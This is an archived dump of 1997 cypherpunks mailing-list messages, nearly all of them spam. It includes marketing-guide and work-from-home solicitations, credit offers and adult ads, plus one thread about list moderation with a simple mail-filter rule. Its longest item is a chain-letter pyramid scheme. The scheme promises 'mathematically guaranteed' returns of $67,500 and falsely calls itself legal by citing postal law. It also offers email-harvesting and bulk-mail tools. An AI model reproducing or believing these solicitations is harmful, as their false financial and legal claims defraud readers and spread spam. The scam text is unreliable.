Your pack will include the life-changing audiotape "The
Missing link" by international health expert, Dr. Gary Young.

BUSINESS OPPORTUNITIES are still available, including 
your own FREE website with autoresponders. CALL TODAY!

This very unusual WINDOW OF OPPORTUNITY won't stay
open very long.
 
      YOU'VE NEVER SEEN ANYTHING LIKE THIS!!!

             CALL FOR YOUR FREE PACK TODAY!







 













From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: staff@tnlb.com
Date: Sat, 11 Oct 1997 05:32:48 -0700 (PDT)
To: staff@tnlb.com
Subject: Open 4 new mirror locations ?
Message-ID: <199710111231.FAA02738@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Now you can open 4 new locations for your business
NEXT WEEK - just in time for the holiday shopping season.

This is how one of our Clients DOUBLED Sales in less
than four weeks...

Is your site really getting enough traffic now?
or is your site lost in the crowd....

The solution is simple but powerful.
Multiple locations!

If a prospective customer is
looking for your products or services,
who has the best chance of being found -
someone with five locations or
someone with one...plus you get the
added bonus of the "accidental shoppers",
people who will find you that didn't know
your business existed.

International Shopping Complex now averaging
over a million hits per month, with
shops from 28 different countries, announces mirroring
package to business site owners.

The first page of your site is copied by our teks
and installed in the four mall locations.
All links from your first page go back to your site,
so you can still update your pages.

Businesses (retail, wholesale, mfg, services)
can now add their stores to these multiple sites
for a special GUARANTEED package rate of $375.00,
which includes all set up and a year's rent.
Compare that to setting up four stores yourself!

Plus, we give you details of a free promotion site
which enables you to enter your 4 new URLs and
you will automatically get 500 NEW LISTINGS to
jump start your new sites.

Offer expires October 17th.

For Complete details please email:

press@1stworldwidemedia.com

And put  "send details"  in the subject line.

Thank you :)

www.1stworldwidemedia.com
-----------------------------------------------------------------------
This mailing is being sent to qualified business
owners only. If it has reached you in error,
please accept our apologies.
If you do not respond, you will automatically be
removed from any further mailing.
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 12444880@LC.Enterprises
Date: Sat, 11 Oct 1997 10:51:15 -0700 (PDT)
To: Friend@public.com
Subject: For Immediate Release
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
We placed an ad in one small area of the Internet.  And when
the dust started to settle we had over six thousand responses
in ten days.

(LC Enterprises)
-----------------------------------
For Immediate Release:   Denver, October 10, 1997

COLORADO  MARKETING  FIRM  SHARES  MONEY
GENERATING  TRADE  SECRETS  ON  THE  INTERNET!
-----------------------------------

Hello,

My Name is Shannon Johnson.  I am CEO of LC Enterprises.  
I have to tell you that I am really angry and upset about 
what is going on here on the Internet.  We at Success 
Concepts are so angry, in fact, that we decided to do something
about it.  Read on and you'll see.

For three years I have lead my marketing firm in sales campaigns on
the Internet and the other large online services which have yielded
outstanding results!  We are now sharing the information we have
gained over the last several years with other people who are 
desperately trying to figure out how to make a substantial income 
from their home computers.

Do you know what it's like to turn your computer on in the morning to
find an email box full of orders for your product.....Where it takes 
over an hour to sift through just the credit card orders alone?
We do!

Do you know what it's like to have the postman bring you a bag full 
of orders for products you have marketed on the Internet, and then 
hear him complain about all the mail you get?
We do!

Do you know what it's like to place a simple ad into a newsgoup or
classified section on the Internet and have your Order Department's
phone ring off the hook with people who want to buy your product.
We do!

Have you ever placed just one advertisement on the Ineternet and when
the dust settled ten days later had over 6,000 responses by phone,
fax, mail, and email?
Well....we did in January of this year!

Have you ever tried to market something simple on the Internet, only
to have weeks or months of toil and effort result in only a few 
sales, if any?
Well....that's happened to us too.  But not since we learned the 
secrets!!!

You see, we found the "secrets" to marketing just about anything on
the Internet.  And it is really quite simple, once you know them.

Imagine this.  You decide to make a second, or even a primary
income from the Internet.  So, you put up a Web Site, get a mess
of email follow-up letters ready, put your Web Site in several 
hundred search engines (people gotta find your page...right), get in 
the News-Groups and advertise your site, and drop hundreds of 
classified ads all over the Net.  There ya go.....now you are going 
to rake in the cash!
Two weeks later you have one sale and you are telling your spouse
and your friends that "This will take time! "  Four months later 
you've made just enough to pay for your web space and your friends 
don't listen to you anymore.  They consider you an "Internet Marketer
Wanna Be".  Sound familiar!

We are not trying to rub salt in your wounds.  What we are trying to
do is let you in on the TRUTH about doing business from your home
on the Internet. Let's face it.  The vast majority of people who are
trying to earn a living on the Internet are STARVING!!!  That's 
right! They don't have a clue of what to do first, second, third or 
fourth!  And even if they do have a clue they have been lead down the 
garden path with dreams and silly techniques which don't work and are 
breaking the hearts of thousands of people who are just trying to 
make a living from their home computers.  That is what we are so 
upset about at Success Concepts!

But, it doesn't have to be that way!  People don't have to really 
FAIL at making a good income on the Internet.  And it really doesn't 
have to take months or even years to learn how to do it.  Not if you 
have the right guide to show you what to do, and when to do it.

    THE GUIDE  (No More Broken Dreams on The Internet)

is the name of our informative guide to generating orders, money, 
cash, on the Net.  It was written with the "average" Netrepreneur in 
mind, in plain English, with straight to the point "How To" and "Why 
Do You Do" phraseology.

In......

    THE GUIDE  (No More Broken Dreams on The Internet)

we expose all the traps WE fell into in our first year of Internet 
Marketing, but stay away from now.  We expose the lies and half 
truths which people have fallen for in the past.  We expose the 
SECRETS which most of the successful Internet Marketers really DON'T 
WANT YOU TO KNOW! Because, when you know the secrets you will be off 
and running in... that's right......THEIR BACKYARD....the Cyberspace 
Marketplace!

THERE IS ROOM FOR A LOT MORE OF US!

There are millions of people on the Internet.  And there are millions
of more people on the way here.  The pie which will be cut up is
so huge that several hundred more people who know what they are
doing will not even make a dent in our income level. It will just be 
a drop in the bucket so to speak.

    THE GUIDE  (No More Broken Dreams on The Internet)

will expose the Ineternet for what it really is, the marketplace 
which can provide you with a steady income.  It will literally show 
you what to do first, second, third, fourth, and so on.

You are about to discover exactly what makes the difference between
the "Internet success stories," and the obscure "Web Marketing 
Failures."

This guide will give you all the details, the tools,  the ideas, and 
the resources to help you make all of your INTERNET DREAMS come 
true...

Finally, the truth is revealed!  Find out the secrets that some of 
the wealthiest Internet marketers are using to propel their sales 
through the Cyberspace roof.

    THE GUIDE  (No More Broken Dreams on The Internet)

Will show you:

** How to use Newsgroups to your advantage.  The tricks!
    Just placing a few ads just won't do it for you!

** How to use a sig file to get more orders.  They look simple, but 
    if you write your Sig correctly it can be a GOLD MINE to you. We 
    generate thousands just from our sigs!

** How to place your web page at the top of the search engines.
If you don't get close to the top you can forget many hits!

** How to maximize your web sales using a professional looking web 
page (that you can build all by yourself).

** All about follow-ups and how to do them using email.
A very simple technique which can mean rapidly increasing volume to
you.  This technique is used by some of the top Internet Marketers.

** How to effectively build mailing lists on the internet.
Without lists your business will probably perish!

** Special Coding Techniques which can make your Marketing efforts
amaze even the most die hard skeptics

** Where and how to place thousands of FREE classified ads.
What to say in them, and what to expect when you place them.

** What products you should or shouldn't market for quick results

** How to use Testimonials...

** The importance of tracking your marketing results.

** The importance of a "back-end".

** A step by step guide to get you started IMMEDIATELY!

** And much, much more...

Here is what some people who turned their Internet Marketing
results from failure to success have to say about "The Guide":

I thought all I had to do was place some classified ads on the Net 
for my flame retarding spray.  Every night after work I would place a
few ads and answer some questions in email.  I never made much
money at all.  Then I read THE GUIDE and everything turned around!
I'm looking at leaving my job now.  And their newsletter keeps me up
to date with all the new things I need to know to keep on track with
my business.

Bill J.
St. Louis,  MO

I started Internet Marketing in the Chat Rooms on AOL.  What
a joke that was!  Nobody ever told me it would take so long to
make any money that way.  Then I read the 'The Guide." The
Chat Rooms, Internet Newsgroups, Web Sites, and email all
make me money now.  And it wasn't all that hard either.  I just
didn't know the secrets before.  But I do now!!!  The Internet is
huge, and I've just started getting my share!

Ann  W.
Houston,  TX

    THE GUIDE  (No More Broken Dreams on The Internet)

is usually only offered to our marketing clients.  With all the 
garbage we have seen on the Internet in the past few months we have 
decided to offer "The Guide" to everyone reading this advertisement.  
Our clients have paid $99.95 for "The Guide" and have felt that it 
was a real bargain for that price.  "The Guide" has now gone into it 
SECOND Edition and we feel that we should open it up to just about 
anyone's financial budget. At least for a limited time.

    THE GUIDE  (No More Broken Dreams on The Internet)

is being offered to you, for a limited time, for only $24.95!!!  
That's correct!  That's a full $75 off the regular price.  Once 200 
more or so orders have been placed at this price we will take "The 
Guide" off of the sale counter and move the price back to $99.95.  
But, why offer this for such a deep discount?  It's simple.  Success 
Concepts feels that the time is right for this information to become 
more available on the Net.  But we aren't marketing fools either. The 
Guide holds a Copyright, and will only be offered at this very deeply 
discounted price for a very limited time.

(There is some Joker on the Net who is trying to sell LESS 
information without our two bonus offers to follow for $395.00.  That 
is ridiculous!!!)

FIRST BONUS OFFER:

If you order within the next 3 days we will include:

** Bulk Email Secrets...This information could save you 
   hundreds of dollars in mailing costs, and more importantly
   it could keep you from losing your ISP.  You'll get the details
   on how to:
--use bulk email to explode your profits
--prevent losing your dialup account
--find the right product(s) to market by bulk email.
--find the correct software to use.

   You will also learn:
--Where to find reliable bulk email servers.
--Where to purchase the very best email software
       on the market today.
--And much, much more.

PLUS!!!

** Free access to our private download site.  Here you will
   find hundreds of FREE informative reports to use or sell
   on the internet.  You will find helpful programs that we
   use to make our marketing efforts more effective.  You will
   also find 25,000 email names, FREE for you to download
   to help you get started.  These are fresh names that you
   can use to market your business.  These names are changed
   weekly and you can download as often as you like.

Once again all of this is yours for only $24.95, plus $3.00 S&H....
so order now!

SECOND BONUS OFFER:

Not many people want to do this Internet Marketing thing alone.
Now you won't have to.  Those who order "The Guide" by October 31
will be placed on our very select "The Guide Electronic Newsletter"
where you will receive the latest tricks and "HOW TOs" in Internet
Marketing.  Tricks which the big boys find out about first.  Now you 
will be right in line to find them out quickly, so you can capture 
the market.

 ***OUR BETTER THAN RISK-FREE GUARANTEE!!!***

Order the book today and receive the two bonuses absolutely
FREE...Read over the book, follow the step by step guide, 
contact the resources listed, and if for any reason you are 
not fully satisfied with the book you can return it within 30 days
for a full refund, AND you get to keep the bulk email report, and
email names from the FREE download site.  

It's easy to do, so order today and take advantage of this
BETTER THAN RISK-FREE OFFER before "The Guide"
is moved back to the regular price.

For a 3 minute RECORDED audio presentation call:

1-800-935-5171 ext. 1826

SO ORDER NOW...

EMAIL:

Complete the following form (Credit Card Orders) and email to:

ucan2@premierservices.com

Make sure that your Subject heading is "Dreams Order"

or

POSTAL MAIL:
PRINT out the following form and mail to:

LC Enterprises
Dept. 1232A
P.O. Box 10003
Clarksville, TN  37042


___________________Cut Here___________________

__Yes, I am tired of Broken Dreams...I am ordering "The Guide" well
within the allotted time period and would like both the Bulk Email 
Report and the Private Download Site bonuses. Plus I want to be 
placed on your very select mailing list for "The Guide Electronic 
Newsletter".....all for only $24.95 + $3 S&H.

__I did not order within 3 days but would still like to take 
advantage of your  THE GUIDE  (No More Broken Dreams on The Internet) 
for only $24.95 + $3 S&H and be placed on your very select mailing 
list for "The Guide Electronic Newsletter"

----[[[ Do Not Remove This Code -->( BT ) ]]]

NAME:___________________________________________________

ADDRESS:________________________________________________

CITY:__________________________________STATE:_____________

COUNTRY:________________ZIP\COUNTRY CODE:______________

PHONE:________________________FAX:_______________________

EMAIL ADDRESS:___________________________________________

Please Circle Mode of Payment.

Check          Money Order       Credit Card

If Paying by Credit Card Please Circle Type of Card.

Visa          M/C          AM EX          Discover

Credit Card #:___________________________exp date:_____/______

Name on card:______________________________________________

Signature:__________________________________________________

TOTAL AMOUNT INCLUDED:  $27.95

Add $10 for Internation Orders.

Make checks payable to:  LC Enterprises.

Send to:

LC Enterprises
Dept. 1232A
P.O. Box 10003
Clarksville, TN  37042
                                                
Code:  BT
________________Cut Here_____________________________

LC Enterprises

Trying doesn't always work on the Net.  
Find out why "The Guide" works. 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: emailprofits@mail3.c-flash.net
Date: Sat, 11 Oct 1997 06:30:04 -0700 (PDT)
To: emailprofits@mail3.c-flash.net
Subject: 1110:  Home-Based Email Processors Required....
Message-ID: <394810482832.PQR2222@mail3.c-flash.net>
MIME-Version: 1.0
Content-Type: text/plain


                             Earn $14.95 for every email you process for us.

                                               GUARANTEED!


Dear Sir/Madam,

This announcement concerns an online employment opportunity 
currently available with our company.  If the idea of earning 
an excellent income using your home or office computer appeals 
to you, then please review this brief article. 

If you find this article of no benefit to you, we apologize 
for our intrusion.  To be removed, hit reply with 'remove' in 
the subject.

=================================================
Home-Based Email Processors Needed Immediately!!
=================================================


Please be assured that this is NOT an invitation to participate 
in an illegal chain letter scheme.

Neither is this an invitation to join a network/multi-level 
marketing program.

We are offering a unique, legitimate home-based employment 
opportunity.

As an Email processor for our company, you'll work out of your 
home or office using our exclusive FREE, "no-catch" turnkey 
software package.  

There's NO personal selling involved. 

There's NO sending out bulk email. 

We are in the Software Distribution and Publishing business.  
Our products have worldwide appeal.  In order to expand our 
business globally in the shortest possible time, we need 
home-based Email processors all across North America, Europe, 
Australia and Asia RIGHT NOW!!

Our EXCLUSIVE turnkey software package is all you need to do your 
daily duties.

The work can be done full or part time.  Your earnings is based 
on the hours you put in to the work.  By devoting few hours a week, 
you'll be able to add handsomely to your present income.  With a
full time effort, your income may even exceed your expectations.

If you are interested in this position, and would like to find out
more about the pay structure, and the duties involved,  please
link to:

http://204.137.223.80/master/email.html

OR

http://www3.c-flash.net/~emailprofits/email.html

If you're having difficulties connecting, you may
request a detailed information report and an application form by 
hitting REPLY with "MORE INFO" in the subject line.  

Thank you for your attention.
  
Sincerely,


Angie Steele
Global Marketing Services












From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: biy71@ix.netcom.com
Date: Sat, 11 Oct 1997 12:36:02 -0700 (PDT)
To: biy71@ix.netcom.com
Subject: For Adults Only!!
Message-ID: <199710111615UAA45220@post.wsu.edu>
MIME-Version: 1.0
Content-Type: text/plain



Preview the 1998 "Online stripshow Of The Year"
Voted by the Association of Adult Internet Services as having the best content, best live sex  picture quality and the most beautiful models!


http://www.livehardcoresex.com

AOL Click Here!

You must be 21 or older.

If you would like to be removed forever e-mail us
jackpotx@ix.netcom.com
3ing sender:  




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sales@consumersgroup.com
Date: Sat, 11 Oct 1997 14:58:03 -0700 (PDT)
To: cusotmer@consumerland.com
Subject: Great Products to Improve Yourself and Your Life
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
	Great products to improve yourself and improve your life.  Visit
Consumers Integrity Groups Web site at www.consumersgroup.com.  We have
many books, guides, and literature on  self help and  financial  improvement.  All
offers are 100% guarenteed.  Here's  our current list of great products;

	- Web Wealth, by Dr. Jeffrey Lant, 248 pages.  How to turn the World Wide Web 
                   into a cash flow machine for you and/or your business.
	- The Insiders Guide to Credit Cards, by Barry Klien, 80 pages.  Best credit
                   card rates of the top 96 credit cards with all addresses and toll free #'s.  Great book.
	- The Action Guide to Government Auctions & Real Estate, 235 pages. 
                   Everything you need to know about government auctions and real estate.
	- Credit Information Guide, by R.D. Kincannon.  How to correct  and remove
                   inaccurate information from your credit report. Also includes federal credit law. Step by
                   step procedures and sample letters. Limited quantity, order today.
	- Money Making 900 Numbers, by Ginsberg and Mastin. 336 pages.  Learn how
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	- The Magic of Credit, by George Chelekis, 380 pages.  Complete credit guide.

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If you would like to be removed from our list please click here. http://209.30.49.41/remove.htm


</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 07607928@grandbikes.com
Date: Sat, 11 Oct 1997 14:09:27 -0700 (PDT)
To: Friend@public.com
Subject: NEW !       DIGITAL / CELL PHONE !       NEW !
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain



                              DO YOU WANT THE SECURITY OF A
                                   DIGITAL / CELLULAR PHONE


                WITH NO DEPOSIT , NO CREDIT CHECK , NO PREPAY
                                 AND NO PENALIZING RATES ?

      
            EXAMPLE :  .10 AIRTIME / MIN .  &  .15 LD ,  24 HRS.  7 DAYS


                   THIS IS YOUR GROUND FLOOR OPPORTUNITY TO
                   GET THE PHONE AND/OR EARN BIG BUCKS NOW !
         
     AT THE PHONE COMPANY IF YOUR CREDIT IS LESS THAN PERFECT
     YOU CAN'T  GET A CELL PHONE WITHOUT A  DEPOSIT OR A PREPAY 
     AND/OR  INFLATED RATES , BUT NOT SO WITH US , WE DO NOT
     DISCRIMINATE .YOU GET THE PHONE , NO QUESTIONS ASKED ,THE
     SAME RATES AS EVERYONE ELSE AND YOU CAN EASILY EARN THE
     MONEY TO PAY YOUR PHONE BILL AND MUCH , MUCH MORE !
         
       *   WE ARE A LEADER IN THE TELECOMMUNICATIONS INDUSTRY WITH   
           MANY PRODUCTS AND SERVICES. WE ARE TARIFFED /REGISTERED
           IN EVERY STATE. WE ALSO OFFER  9.9 c  +  1 PLUS DIALING .
         
       *   DUAL COMPENSATION PLAN OFFERS BIG UPFRONT $$$.
         
       *   WE ARE THE ONLY , THE ONLY COMPANY TO OFFER THIS EXCITING
            OPPORTUNITY, THAT CAN PRODUCE 100'S OF NEW MILLIONAIRES I
       
       *   THERE ARE 30/40 MILLION FOLKS WHO CANNOT GET A CREDIT CARD
            OR A CELLULAR PHONE BECAUSE OF CREDIT , SO YOUR MARKET IS
           30/40 MILLION PEOPLE , WE WILL TAKE THEM ALL.
         
            NO DEPOSIT, NO CREDIT CHECK, NO PREPAY, NO ROAM CHARGE I
         
             FOR MORE DETAILS AND AN APPLICATION PLEASE VISIT OUR WEB
             SITE AT:
         
                          HTTP://WWW.DATATAMERS.COM/~DIGIPHONE

                                                             OR

                         E MAIL US AT :  DIGIPHONE@DATATAMERS.COM
         

         
            If you received this notice in error, please delete and we apologize
            for the intrusion. Sorry :-(  If you wish your address to be removed from
            our list please e mail us at : remove@grandbikes.com

         
         
         
         

         






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: make@money.net
Date: Thu, 13 Nov 1997 06:02:39 -0800 (PST)
To: cypherlou@aol.com
Subject: An open invitation! *!
Message-ID: <050ee3455130db7UPIMSSMTPUSR03@email.msn.com>
MIME-Version: 1.0
Content-Type: text/plain


X-Info:Filtered Via The Remove List At http://www.antispam.org
X-Info:Sent Using A Free Copy Of The Zenith Bulk Emailer



                                            
 INVITATION TO PARTICIPATE...

- For easy reading, please maximize this window -



NOTE... *** For those of you that don't have access to a server that allows you to bulk e-mail, I can give you a special gift. I know a url where you can get several different FREE software packages which will extract e-mail addresses from the internet and create mailing lists for you!  I also have a list of FREE e-mail servers that allow you to send bulk mail!  All you have to do to get them is to include a note asking me for "THE FREE E-MAIL SERVERS" and BE SURE TO ENCLOSE YOUR E-MAIL ADDRESS WITH YOUR ORDER FOR REPORT # 1 ***



I won't use up bandwidth with useless comments about this program, or testimonials from people you have never heard about before. We all know that multi-level-marketing is the wave of the future and that it is very easy to make a large amount of money in a very short time. I know, this is my second time using this program and I made well over $50,000 on my last attempt. 

Unfortunately, most people look at this type of program and toss it out, a very big mistake because they are also tossing out a chance to gain financial independance! 

This program contains all of the components necessary to make it a legal, multi-level-marketing program, a tangible product, a service, and a guarantee, so don't let someone fool you into thinking it's illegal, it's not!

Plain and simple english... This Program Works!  All it takes is a little of your time, a VERY small investment, and the will to succeed! Using the internet and e-mail, this program WILL make you a lot of money, and you can run through it again and again! 

*** For those of you that don't have access to a server that allows you to bulk e-mail, I can give you a special gift. I know a url where you can get FREE software which will extract e-mail addresses from the internet and create mailing lists for you!  I also have a list of FREE e-mail servers that allow you to send bulk mail!  All you have to do to get them is to include a note asking me for "THE FREE E-MAIL SERVERS" and BE SURE TO ENCLOSE YOUR E-MAIL ADDRESS WITH YOUR ORDER FOR REPORT # 1 ***



INCOME POTENTIAL

This plan works on a Four-level or Tier MLM Program plan.  This example that follows is
quite conservative;  however, you need to be aware that the numbers will change
(probably upward) depending on the distribution amounts, the response rate of return, and
the failure factor.  The only numbers which are imperative for you to remember, and be
able to match or exceed, are the number of orders received at Levels 1 and 2 (15 orders
and 105, respectively).  You must receive at least 15 orders for Report # 1, and 105
orders for Report # 2 for MATHEMATICALLY GUARANTEED SUCCESS.

Here is a VERY CONSERVATIVE  example of how this works.  First, you and those
following will each distribute 5,000 MLM Invitations to Participate in the program (what
you are now reading).  Second, the response rate of orders (future participants) is usually
.003 (three in a thousand).  Third, of those who respond with an order, $10, and the
willingness to enter this program, 50% will for whatever reason not redistribute it.  This is
call the failure factor.  The real number for these failures is closer to 30%, but remember
you are being presented  a very conservative example.

So, you decide to give the program a TRY and enter at Level One and redistribute 5,000
new invitations which, at the return rate of .003 will provide you with 15 orders within 10
days to 2 weeks from future participants at $10 each, totaling $150 (instant return on your
investment).  Remember, we assumed 50% of the 15 new participants will fail to
redistribute, so only 7 will send out the next 5,000 invitations (35,000 total).

At Level Two, out of these 35,000 you should receive 105 (three in a thousand) orders
within an additional 2-4 weeks at $10 totaling $1,050, and 52 new participants (half of the
105) will each send out the next 5,000 invitations for a new total of 260,000 prospects. 
>From these you will receive 780 orders at Level Three, increasing your income by $7,800. 
Then 390 (half of the 780) people will each distribute another 5,000 proposals, which will
total 1,950,000 potential participants as you reach Level Four.  With the .003 response
rate there will be 5,850 new orders equaling $58,500 !  The total for all levels is $67,500. 
Not a bad return for sending out only 5,000 e-mail invitations.

INVESTMENT

The investment necessary to enter this program is $40 for the purchase of all 4 reports. 
This is a fixed cost of purchasing the four individual reports from preexisting Program
Members at $10 each.  Beyond this, the costs are variable depending on how you choose
to redistribute the Program and the cost of reproducing the reports.  Most certainly the
order response from Level One will cover all costs even for the very aggressive
participants.  This is a very nominal investment for such a wonderful return.  

All those people you know who brag about all their investments, their portfolios, etc.,
would just die if they knew what you now know - that you can turn $40 into $67,500 or
more in the NEXT FEW MONTHS!

LEGALITY

After careful study and legal consultations, there are 2 important points you should now
and follow which keep this program perfectly legal and in compliance with US Postal and
Lottery Laws.  First, a product is being ordered by you and sold by the receiver of your
order.  Second, you need to request that your name be placed on the mailing list from
whom you order so a service is also being performed.  Title 18 Sections 1302 and 1341 of
the US Postal and Lottery Laws specifically states " A product or service must be
exchanged for money received."

Also remember when you receive your orders you MUST fill them promptly, preferably
the same day, with the Report being sold to comply with the law, and also to aid the new
participants in future order procurement not just for themselves but also for you.

GUARANTEE FOR SUCCESS

The check points which GUARANTEE your SUCCESS and the optimal financial return
for all participant members are simply these:

	1.  You must receive at least 15 orders for Report # 1
	2.  You must receive at least 105 orders for Report #2

This is easy, but it's an absolute must !!!   No matter how many program invitations you
chose to redistribute, if you don't receive the necessary 15 or more orders for Report # 1,
keep sending more invitations until you receive the necessary 15 orders.  The more you
get, the more money you will make.  This also applies for the 105 orders for Report # 2.

Once you have received the necessary 105 or more orders for Report # 2, simply sit back,
take a deep breath and relax because you are going to receive orders in excess of $67,500. 
This is a MATHEMATICALLY PROVEN  guarantee.  Of those who have participated in
this program and reached the above minimum orders, all have reached or exceeded their
goal.  Just imagine what would happen if there was no failure factor, or if it were just
lower than the calculated 50% !

The question is, do you really want to have $67,500 in your bank in the next few months? 
I am sure you do, so are you willing to give the program a TRY?  You will never know if
it works if you don't TRY.......

Remember, if you want your ship to come in, you have to launch it first.  The hardest part
of this program is deciding to do it.  Once you have taken that step then you need to
decide how to get the 5,000 or more names with whom you want to share this program. 
There are many companies that will provide mailing lists with e-mail addresses.  You have
gotten lots of advertisements over e-mail offering bulk mail services....NOW MAKE
THEM WORK FOR YOU !!

***  WHAT TO DO  ***

"OK, I am of THREE IN A THOUSAND - I've decided this venture is worth $40.00. 
What do I do now?

STEP # 1  -  Purchase each of the four Reports by NAME and NUMBER, and request to
be put on the mailing list (both street and e-mail addresses and important) to each seller. 
Do this by ordering one of the four Reports from each of the four names listed here after. 
For each Report send $10 CASH and a SELF-ADDRESSED, STAMPED ENVELOPE
(Business size #10) to the person listed for the SPECIFIC REPORT.

It is essential that you specify each Report ordered by name and number for each person
to insure that you will receive all four Reports properly.  You will need all 4 Reports
because you will be REPRODUCING AND RESELLING them.  Do not alter the names
or the sequence of the name list in any way other than by what the instructions say.  It is
important for you to receive same day service on your orders, and you must also must also
provide it to others when you receive orders.

STEP # 2  -  Put your name on the list prior to your distribution of the Program
Invitations.  In doing so it is imperative for everyone's success in this Program that you
follow these instructions exactly.  First, delete the person's name from Report # 4 position
as they will be on their way to the bank.  Second, move the name in the Report # 3
position into the open # 4 position.  Third, move the name from Report # 2 spot into the #
3 position.

Fourth, move the name from the Report # 1 position to the # 2 place.  Finally, place your
name and address into the Report # 1 position.  When doing this, make certain to type the
names and addresses accurately, and to not mix up the order of the names with each
Report other than as how you have just been instructed.





REPORT AND NAME LIST

REPORT # 1 - "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"
Order from:  Rick Kowalski  617 Gateway Road, WPG., MB., Canada, R2K-2X8

REPORT # 2 - "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"
Order from:  Sarah Glade 168 Harbison Ave. West, Winnipeg MB, Canada, R2L-0A4

REPORT # 3 - "INCREASING THE ODDS WITH MAILING LISTS"
Order from:   Department 2, LBK Marketing & Graphics, PO Box 351509, Jacksonville,
FL 32235-1509


REPORT # 4 - "EVALUATING MULTI-LEVEL SALES PLANS"
Order from :  USI, 3400-L MacArthur Blvd., Santa Ana, CA  92704

REMEMBER!  Order each report by name and number, and to include with the $10 cash
a self-addressed, stamped envelope.

DISTRIBUTION

Having made the changes in the name list, save the new Program as a text file, using
"Notepad" in Windows in its own directory to be used with whatever mass mail program
you like.  Report # 3 will give you some of the best methods for distributing this Program. 
Be creative!  Who knows what your personal twist will produce!

FULFILLMENT

It is essential that the Reports you reproduce look like the originals - not copies of copies
of copies.  The more professional you keep your business the more so will those behind
you.  Always provide same day service.  It's sound business and the sooner your buyers
get started, the sooner you start counting your money.

IN A NUTSHELL

1.  Name your new MLM Company.  You can use you own name if you desire.

2.  Get a Post Office box if you can, as it is a preferred way of doing MLM.

3.  Edit the names on the Program.  Remember, your name goes into the Report # 1
     position.  The others move down one position with the fourth name being deleted.

4.  Copy and save this program as it has become yours to reproduce for distribution via
     any and all methods you choose.  Make certain it remains neat and legible.

5.  Decide on the number of Programs you intend to distribute.  The more invitations you
     send out, and the quicker you get them into the hands of other interested people, the
     more money you will make.

6.  Decide on your methods of distribution and obtain as many e-mail addresses as
     possible to send to until you receive the information regarding mailing list companies
     in Report # 3.

7.  Distribute the Program Invitations, and get ready to fill your orders.

8.  Reproduce or copy each of the four Reports so you are ready to send them out as soon
     as you receive your orders.  Remember, when you do, to keep them looking like
     originals and to always provide same day service.

9.  Follow the program instructions exactly, but be as creative and aggressive as you can.


THANK YOU for taking the time to read this.  Now print it out, RE-READ IT and
envision that new car, that vacation, that new house, or that quality education for your
kids!

Is it too good to be true?  No, but it is too good to let slip through your fingers.  Are you
one of THREE IN A THOUSAND?  Are you going to prove to yourself whether or not
you can make alot of money in a short period of time by working smart?  Are you willing
to TRY?  

It is your decision.  GOOD LUCK !

*** Important Message - Sent Using The Zenith Bulk Emailer ***
*** For Your FREE Copy Of This Program - http://209.27.224.16 ***






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: admax@elan-vital.com
Date: Sat, 11 Oct 1997 21:04:52 -0700 (PDT)
To: admax@elan-vital.com
Subject: Home Sweet Home!
Message-ID: <199710120404.VAA04338@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

I was wondering if you would like a FREEoverview of
a home business which can bring you both PERSONAL
and FINANCIAL FREEDOM.  If so, please reply with the 
word "freedom" in the subject header and I will send it right away.

Sincerely,

Dan Askew
"Free at Home"
Home Business Owner
801-325-5204

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
We belong to the Direct Email Advertisers Association and the On-line
Marketers Association.  Both of these organizations promote professional and
responsible use of email marketing. If you need bulk email services, accounts,
resources, flame-proof emailing, or any of a host of services,  go to:
http://www.thehitman.com  Type "askew" in the "who referred you" field.

P.S. Should you prefer not to receive notices, please
reply with the word "remove" in the subect header. Thank you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: business@mail.t-1net.com
Date: Sun, 12 Oct 1997 08:36:53 -0700 (PDT)
To: business@mail.t-1net.com
Subject: Get Paid To Advertise!
Message-ID: <199710121130.GAA01549@ryan.we-deliver.net>
MIME-Version: 1.0
Content-Type: text/plain


     Hello!

     If you would like to find out how you can get paid to advertise 
your own product, service or business on the Internet, please reply
to <megamoneymakers@mail.t-1net.com> and type 'info' in the
subject line.

     If this has been sent to you in error, please accept my apology
and reply to the forementioned address and type 'remove' in the 
subject line to be taken off my mailing list. 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 12 Oct 1997 09:36:13 -0700 (PDT)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199710121636.SAA08699@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


>Dimitri V*l*s <dlv@bwalk.dm.com> writes:
>> Apparently a 'bot was installed on toad.com to discard my
>> submissions from the "unedited" list _after my article which
>> prompted the C2net threatening lawyer letter did make it through the
>> "unedited" list (but was censored from the "flames" list by C2Net).
>
>Your claim has some plausibility, I'll grant.  You were already
>singled out for special treatment, in that John Gilmore did
>unsubscribe you, and block you from re-subscribing.  We know that much
>because he admitted it himself.

Some of us use the old-fashioned way:

:0
* ^From.*bwalk.dm.com
   /dev/null

My procmail log has a bunch of /dev/null entries coming from the unedited
Cypherpunks list. Since spam gets tagged and filtered separately, it looks
like they're V*l*s - he's the only one I know of on cpunx-unedited who's
auto-killed by my mail filters without some kind of notification.

I'll look more closely in the future. Not at his posts, but at the log.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dixie238@aol.com
Date: Sun, 12 Oct 1997 06:50:39 -0700 (PDT)
